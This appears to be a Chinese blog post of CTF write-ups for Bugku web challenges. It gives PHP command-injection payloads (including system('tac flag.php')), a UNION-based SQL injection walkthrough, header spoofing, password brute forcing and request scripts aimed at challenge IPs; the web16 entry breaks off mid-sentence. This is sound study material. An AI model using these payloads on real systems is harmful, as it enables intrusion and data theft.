Bugkuweb系列题记录

web1

打开场景,按F12查看源代码
在这里插入图片描述

web2

打开是一个计算器,但是只能输入一个数字。打开源码修改长度
在这里插入图片描述
输入结果就得flag

web3

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

在这里插入图片描述

web4

在这里插入图片描述
法一:hackbar传参
法二:构造表单

<form action="/post/" method="post">
	<input type="text" name="what">
	<button type="submit" value="提交">提交</button>
</form>

输入flag提交即可
在这里插入图片描述
法三:bp构造post
在这里插入图片描述
法四:脚本

import requests

s = requests.Session()
r1 = s.get("http://114.67.246.176:18020/")
values = {
   'what': 'flag'}
r2 = s.post("http://114.67.246.176:18020/", values)
print(r2.text)

web5

在这里插入图片描述
变量$num的值不为数字或数字字符串,但是$num的值为1
在这里插入图片描述

web6

打开场景一直弹窗,查看源码发现下面有一段javascript代码
在这里插入图片描述
进行html解码得到flag

web7

你必须让他停下

bp抓包,发送三次可以发现flag
在这里插入图片描述

web8

在这里插入图片描述
文件包含
法一:?hello=file(“flag”)
法二:?hello=1);show_source(‘flag.php’
法三:?hello=system(‘tac flag.php’)

web9

flag In the variable !//flag在变量里
 <?php  

error_reporting(0);//代表关闭报错提示
include "flag1.php";//包含文件 flag1.php
highlight_file(__file__);//对文件进行语法高亮显示
if(isset($_GET['args'])){
   //条件判断 get方法传递的args参数是否存在存在为真
    $args = $_GET['args'];//赋值给变量  $args
    if(!preg_match("/^\w+$/",$args)){
   //正则表达式判断 正则表达式格式 为:开头 /^   结尾 $/   \w 代表任意大小写字母和数字  不包括特殊符号  +为匹配前一个字符一次或无数次
    //if条件判断 $args 是否符合正则表达式格式   不符合返回true    (函数取反) 
        die("args error!");
    }
    eval("var_dump($$args);");// eval()函数 将字符串作为php代码执行结尾加分号    var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构
如果是数组,就以数组的方式输出 变量类型+变量  
}
?>

思路:eval()函数存在命令执行漏洞 我们的目标是查看flag1.php中的flag 首先想到的是本地包含漏洞查看源码 或者上传一句话木马等思路 。而本题条件判断加了正则表达式判断,过滤了括号和引号等字符。无法构造! 但输出时是$$args$$args 可以理解为$($args) )。我们想到构造 php中超全局变量 $GLOBALS ,他的作用是引用全局作用域中可用的全部变量,因此只需将args的值设置为GLOBALS即可,URL中输入 /?args=GLOBALS ,找到flag。

web10

头等舱
在这里插入图片描述

web11

在这里插入图片描述
根据描述先用御剑扫描一下
在这里插入图片描述
尝试输入index.php,发现还是老样子
输入shell.php
在这里插入图片描述
爆破密码,输入得flag

web12

在这里插入图片描述
在这里插入图片描述
是一个管理员系统,查看源码发现:
在这里插入图片描述
base64解码得:test123,猜测应该是密码。
后面进行抓包,爆破账号,添加X-Forwarded-For:127.0.0.1
在这里插入图片描述

web13

在这里插入图片描述
查看源代码
在这里插入图片描述
p1+%35%34%61%61%32+p2进行unescape解码
在这里插入图片描述
将这个输入即可得flag

web14

在这里插入图片描述
看到file,index.php就想到试试php协议
file

web15

在这里插入图片描述
bp抓包爆破:
在这里插入图片描述
输入即得flag

web16

在这里插入图片描述
提示备份是个好习惯。php的备份有两种:.php和.php.bak
尝试输入,有:
在这里插入图片描述
得到

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
   
    echo $flag."取得flag";
}
?>

代码审计
1.首先要对key进行了绕过
因此构造双重变量:kkeyey1和kkeyey2
2.然后key1和key2的md5值相等,然后key1

web17

直接输入’,发现没有回显,判断为字符型注入。
1.先判断字段数:
1' order by 5#无回显
1'order by 4#回显
说明字段数为4
2.判断存在注入点:

-1' union select 1,2,3,4#

在这里插入图片描述
可知:2,3,4都有回显。
3.查数据库名:

-1' union select 1,2,3,database()#

得到skctf
4.查表名:

-1' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf'#

得到fl4g
5.直接获取表中数据:

-1' union select 1,2,3,(select * from fl4g)#

在这里插入图片描述

web18

在这里插入图片描述

直接上大佬的代码:

import requests
import re
url = 'http://114.67.246.176:12349/'  #这里是自己的网址
s = requests.Session()  //用session会话保持表达式是同一个
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)   //eval() 函数用来执行一个字符串表达式,并返回表达式的值。
post = {
   'value': result}
print(s.post(url, data = post).text)

web19

在这里插入图片描述
base64解码再解码并且进行请求还是没有用

只好再用大佬代码了:

import requests
import base64
url = "http://114.67.246.176:18216/"
r = requests.session()
headers = r.get(url).headers # 因为flag在消息头里

mid = base64.b64decode(headers['flag'])
mid = mid.decode() # 为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的

flag = base64.b64decode(mid.split(':')[1]) # 获得flag:后的值
data = {
   'margin': flag}
print(r.post(url, data).text) # post方法传上去

web20

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值